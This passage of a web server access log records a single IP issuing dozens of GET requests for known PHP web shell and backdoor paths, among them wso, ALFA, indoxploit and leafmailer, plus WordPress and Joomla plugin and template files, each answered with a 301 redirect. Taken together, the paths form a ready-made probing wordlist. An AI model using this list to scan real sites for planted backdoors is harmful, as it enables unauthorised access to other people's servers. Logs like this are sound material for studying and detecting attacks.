/wso1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:42:52 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:42:54 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:42:57 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:42:59 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:01 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:04 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:06 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:09 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:11 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:14 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:16 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:20 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:24 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:25 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:28 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:30 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:32 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:34 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:37 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:39 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:42 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:44 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:46 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:49 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:50 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:52 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:54 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:43:58 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:01 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:03 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:06 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:09 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:12 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:14 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:17 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:18 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:21 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:23 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:27 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:29 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:32 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:35 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:38 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:42 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:46 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:49 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:52 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:57 -0400] "GET /wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:44:59 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:01 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:03 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:06 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:09 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:11 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:14 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:16 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:19 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:24 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:26 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:29 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:31 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:34 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:38 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:40 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:42 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:47 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:50 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:52 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:55 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:45:58 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:00 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:05 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:07 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:11 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:15 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:20 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:26 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:28 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:30 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:32 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:35 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:37 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:43 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:45 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:48 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:51 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:53 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:57 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:46:59 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [12/Apr/2025:11:47:02 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) 